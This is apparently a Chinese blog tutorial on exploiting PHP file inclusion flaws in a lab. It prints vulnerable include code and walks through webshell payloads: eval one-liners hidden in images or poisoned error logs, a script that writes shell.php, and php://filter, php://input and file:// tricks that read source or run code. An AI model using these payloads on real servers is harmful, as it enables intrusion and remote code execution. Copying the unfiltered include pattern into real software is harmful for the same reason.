zoukankan      html  css  js  c++  java
  • 文件包含漏洞

    //include包含
    <?php
    echo '<meta http-equiv="Content-Type" content="text/html; charset=utf8"/>';
    include "$_GET[page]";
    ?>
    
    
    //放在网站目录下,直接可以访问网站下文件(文件名2.php)
    //访问时:http://127.0.0.1/2.php?page=1.txt  (1.txt是放在网站的目录)相当于<?php  include '1.txt';?> include包括文件
    
    
    <?php
    $a = "$_GET[page]";//获得GET中的值  双引号解析变量 单引号原子符输出 $a = $_GET['page'];
    echo $a;
    ?>
    //http://127.0.0.1/4.php?page=55将55传入文件中并赋值给变量a

    本地文件包含(Loacl File Inclusion,LFI):

    通过浏览器引进(包含)web服务器上的文件,这种漏洞是因为浏览器包含文件时没有进行严格 的过滤允许遍历目录的字符注入浏览器并执行。

    远程文件包含(Remote File Inclusion,RFI):

    该漏洞允许攻击者包含一个远程的文件,一般是在远程服务器上预先设置好的脚本。 此漏洞是因为浏览器对用户的输入没有进行检查,导致不同程度的信息泄露、拒绝服务攻击 甚至在目标服务器上执行代码。

    利用文件包含漏洞必须包括main.php中代码
    <?php
    $a = "$_GET[page]";
    include $a;
    ?>

    1.图片一句话木马
    先用命令或工具把一句话木马加载到图片中

    上传图片

    利用菜刀连

    http://10.1.2.5:17857/cs/main.php?page=/uploads/14563.jpg

    2.日志一句话木马

    利用错误日志

    将一句话木马写入错误日志中

    http://127.0.0.1/<?php @eval($_POST["value"])>
    利用bp抓包

    在bp中自动编码所以要改成

    在日志文件中显示

    利用菜刀连接

    http://10.1.2.5:17857/cs/main.php?page=错误日志路径        (在连接错误日志的时候可能连接不上,可能是错误日志文件过多,需要清理)

    3.利用远程访问

    //在test.php中
    <?php
    fputs(fopen('shell.php','w'),'<?php @eval($_GET[1478963]); ?>');//利用//文件包含漏洞运行test.php文件会在文件目录创建shell.php
    ?>

    http://10.1.2.5:17857/cs/main.php?page=test.php(test.php路径所在地)

    4.PHP封装协议读取文件

    http://10.1.2.5:17857/cs/main.php?page=php://filter/read=convert.base64-encode/resource=main.php  获取源代码

    返回到网页中:PD9waHAKZWNobyAnPG1ldGEgaHR0cC1lcXVpdj0iQ29udGVudC1UeXBlIiBjb250ZW50PSJ0ZXh0L2h0bWw7IGNoYXJzZXQ9dXRmOCIgLz4nOwppbmNsdWRlICIkX0dFVFtwYWdlXSI7Cj8+

    再利用Base64解码

    <?php
    echo '<meta http-equiv="Content-Type" content="text/html; charset=utf8" />';
    include "$_GET[page]";
    ?>

    5.PHP封装协议执行命令

     http://10.1.2.5:17857/cs/main.php?page=php://input

    进行执行PHP代码

    6.file协议  需要服务器的绝对路径

    http://10.1.2.5:17857/cs/main.php?page=file://c:/flag.txt

  • 相关阅读:
    Linux常用命令
    全文搜索服务器solr
    非关系型数据库之redis
    springMVC流程
    浅谈spring框架的控制反转和依赖注入
    Java基础之数组
    Java基础之方法
    跨域访问接口,传递参数
    Centos 6无法使用yum
    内网穿透工具:钉钉HTTP内网穿透使用与讲解
  • 原文地址:https://www.cnblogs.com/z0205/p/8926588.html
Copyright © 2011-2022 走看看